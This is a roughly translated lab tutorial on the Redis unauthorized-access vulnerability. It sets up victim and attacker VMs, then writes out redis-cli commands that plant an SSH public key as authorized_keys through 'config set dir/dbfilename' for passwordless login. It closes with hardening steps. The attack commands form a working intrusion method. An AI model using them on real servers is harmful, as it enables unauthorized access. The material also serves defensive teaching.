Utilization and protection of Redis unauthorized access vulnerability

Utilization and protection of Redis unauthorized access vulnerability What is a redis unauthorized access vulnerability?

Redis, by default, is bound to the 0.0.0.0:6379 . If you do not take the relevant security policy, such as adding firewall rules, avoiding other untrusted source IP access, etc., this will make the Redis service completely exposed to the public network. If you do not set up password authentication (typically null), it can cause any user to access the Redis and read Redis data without authorization when accessing the target server. In the case of unauthorized access to Redis, an attacker can use the provided config command from Redis to perform operations such as reading and writing files. An attacker could successfully write his or her SSH public key to a /root/.ssh file under the folder of the target server authotrized_keys , and then use the corresponding private key to log on to the target server directly using the SSH service.

Simply put, we can boil down the vulnerability to two points:

• Redis is bound to 0.0.0.0:6379 , and does not add firewall rules, avoid other non-trusted source IP access and other related security policies, directly exposed to the public network

• No password authentication (generally null), password-free remote login Redis service is possible

Vulnerabilities that could be caused by:

• An attacker who does not require authentication to access internal data may lead to the disclosure of sensitive information, and hackers can flushall clear all data by malicious execution

• An attacker can execute LUA code through eval, or write a backdoor file to a disk via the data backup function

• If Redis is running as root, hackers can write SSH public key files to the root account and log into the victim's server directly via SSH

Now that we know how to attack, how do we make use of this loophole?

Exploitation of the Redis unauthorized access vulnerability Environment Preparation

• Two hosts (here I choose two virtual machines, one with Ubuntu, one with Kali Linux)

• Redis-3.2.11.tar.gz

first, the installation of Redis services 1. Download the Redis source compression package from the official website

2. When the download is complete, unzip the package

tar xzf redis-3.2.11.tar.gz

3. Then enter the extracted directory: cd redis-3.2.11 , enter make and execute

The success of the compilation occurs as follows:

4. make when finished, go to the src directory: cd src copy the Redis-server and redis-cli to the /usr/bin directory (this will start Redis-server and redis-cli without having to enter the installation directory every time. )

You may encounter the following questions:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/cp: 无法创建普通文件'/usr/bin/redis-server': 文本文件忙

This time you go to check /usr/bin whether the directory already exists Redis-server, if not exist, we choose to stop the service:

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown

or kill the process directly:

python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID

We'll just start the service again!

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server

At this point we'll check /usr/bin if there are redis-cli and Redis-server under the directory:

python@ubuntu:~$ ls /usr/bin | grep redis

5. Return to the directory redis-3.2.11, copy the redis.conf to the /etc/ directory

python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/

6. Edit the Redis configuration file in etc redis.conf

python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf

Remove IP bindings, allowing hosts other than local to telnet to the Redis service:

Turn off protected mode to allow remote connection to Redis services:

7. Use the /etc/ configuration in the redis.conf file in the directory to start the Redis service

root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf

Here I stepped on a big hole again, and I came across a problem like this:

python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf *** FATAL CONFIG FILE ERROR ***Reading the configuration file, at line 80>>> 'protected-mode no'Bad directive or wrong number of arguments

This question bothered me for a long time, and the discovery behind the surprise, Because Redis.conf and the current version of the Redis mismatch caused the problem, the current version of the Redis apsaradb for Ubuntu is 3.0.6, and the redis.conf version is 3.2.11, later only to know that because I have been installed in Ubuntu is the result of Redis, the workaround is as follows :

Uninstall old version Redis-server:

sudo apt-get remove redis-server

Since we've already downloaded the redis-3.2.11 version, we'll just make it, and just follow the above steps to get it right again.

As we can see, the version corresponds to the 3.2.11, it is also able to complete the configuration in the reids.conf file to start the Redis service.

second, the installation of SSH services

Since Ubuntu and Kali Linux already have SSH services installed, but they are not started by default, you need to systemctl start sshd start the SSH service with a command.

So how do we know if we have an SSH service installed? You try the service sshd start command:

fauked to start sshd.service: Unit sshd.service not found

If the above results indicate that your virtual machine does not have an SSH service installed, you will need to run the following command to install the SSH service:

sudo apt-get install openssh-server

Run the following command again to confirm that the SSH service is turned on:

ps -e  | ssh最后显示：3228 ? 00:00:00 sshd说明ssh服务器已启用

We let the two virtual hosts configure the same Redis environment, one as the victim's target drone, and one as the attacker's host.

At this point, we have successfully completed the exploit environment, the Redis service can be the root user remote password-free login.

third, to reproduce the vulnerability utilization scenario 1. Let's ifconfig test the IP address of both hosts first.

We can see that Ubuntu IP address is 192.168.152.133,kali Linux IP address is 192.168.152.131, so we do not need to modify anything, but if the IP address is the same, we modify the IP of one of the virtual machines:

ifconfig 网卡名称(比如ens33) 我们要修改成的IP地址(比如192.168.152.135) up

We must ensure that the two hosts can ping each other

2. We assume that Ubuntu for virtual machine A,kali Linux for virtual machine B. Virtual machine A (192.168.152.133) for the victim's host, virtual machine B (192.168.152.131) as the attacker's host 3. Open the Redis service in a: redis-server /etc/redis.conf 4. Open a new terminal, execute the command in host a mkdir /root/.ssh , create the SSH public key storage directory (A is used as an SSH server) 5. Generate SSH public and private keys in B, password set to null

6. Enter .ssh the directory: cd .ssh/ , save the generated public key kitty.txt to

root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt

7. Will kitty.txt write to Redis (use redis-cli -h IP command to connect to host a, write files)

root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crackOK

8. Telnet to host A: redis-cli -h 192.168.0.146 and use the config get dir command to get the path to the Redis backup

root@kali:~/.ssh# redis-cli -h 192.168.152.133192.168.152.133:6379> config get dir1) "dir"2) "/home/python/.ssh"

9. Change the Redis backup path to the SSH public key store directory (generally by default /root/.ssh , I am not logged in to the root user, I am logged in the username is python, so ubuntu default path is /home/python/.ssh , so do not need to change) 10. Set the backup file to authorized_keys upload the public key with the name

192.168.152.133:6379> config set dbfilename authorized_keysOK

11. Check whether the change is successful (see if there are any authorized_keys files), save and then exit without problem, we successfully write SSH public key to target drone

192.168.152.133:6379> config get dbfilename1) "dbfilename"2) "authorized_keys"192.168.152.133:6379> saveOK192.168.152.133:6379> exit

12. Turn on host A and Host B SSH service (Fedor default SSH service off), command systemctl start sshd.service

13. Use SSH to login host A in Host B

root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133

It is clear that we have logged in successfully! At this point, we successfully exploited the Redis unauthorized access vulnerability to enable SSH-free login to the target server.

Redis unauthorized access vulnerability Protection prohibits remote use of high-risk commands

We can disable the remote modification of the DB file address by modifying the redis.conf file

rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""

Running Redis services with low privileges

Create separate and directory for Redis user service home , and configure disable login

groupadd -r redis && useradd -r -g redis redis

Add password verification for Redis

We can add password verification to Redis by modifying the redis.conf file.

requirepass mypassword

Prohibit extranet access to Redis

We can make the Redis service available only to the current host by modifying the redis.conf file

bind 127.0.0.1

Ensure the security of Authorized_keys files

To ensure security, you should prevent other users from adding a new public key. The authorized_keys permissions are set to read-only to the owner, and no other user has any permissions

chmod 400 ~/.ssh/authorized_keys

To ensure that authorized_keys permissions are not removed, you also need to set the immutable-bit permissions for the file

chattr +i ~/.ssh/authorized_keys

However, users can also rename and ~/.ssh create new ~/.ssh directories and authorized_keys files. To avoid this situation, you need to set ~./ssh the immutable bit permissions

chattr +i ~/.ssh

If you need to add a new public key, you will need to remove authorized_keys the immutable bit permission. Then, after adding a new public key, follow the steps above to re-add the immutable bit permissions